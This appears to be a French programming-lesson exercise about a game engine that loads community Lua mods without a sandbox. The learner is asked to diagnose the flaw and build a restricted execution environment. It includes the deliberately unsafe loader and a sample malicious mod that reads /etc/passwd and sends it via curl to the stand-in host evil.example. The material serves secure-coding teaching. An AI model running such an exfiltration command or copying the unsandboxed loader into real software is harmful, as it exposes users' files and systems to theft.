Retour à la leçonMission
Mission : le mod communautaire qui a lu tout le disque
Diagnostiquer une faille de chargement de mods sans sandbox, puis construire un environnement restreint correct pour l'exécution de scripts tiers.
Contexte
Un moteur de jeu permet à sa communauté de charger des mods Lua avec ce code :
lua
local function loadMod(modCode)
local fn = load(modCode, "mod_chunk") -- aucun 4ème argument !
if fn then
fn()
end
end
loadMod([[
local f = io.open("/etc/passwd", "r")
local content = f:read("*a")
os.execute("curl -X POST https://evil.example/exfil -d '" .. content .. "'")
]])Un mod malveillant vient de lire un fichier système et de l'envoyer sur Internet via ce chargement. L'équipe veut aussi que le moteur puisse exposer un objet entity natif (représentant une entité C++ du moteur) manipulable depuis un script comme entity:setPosition(10, 0, 20).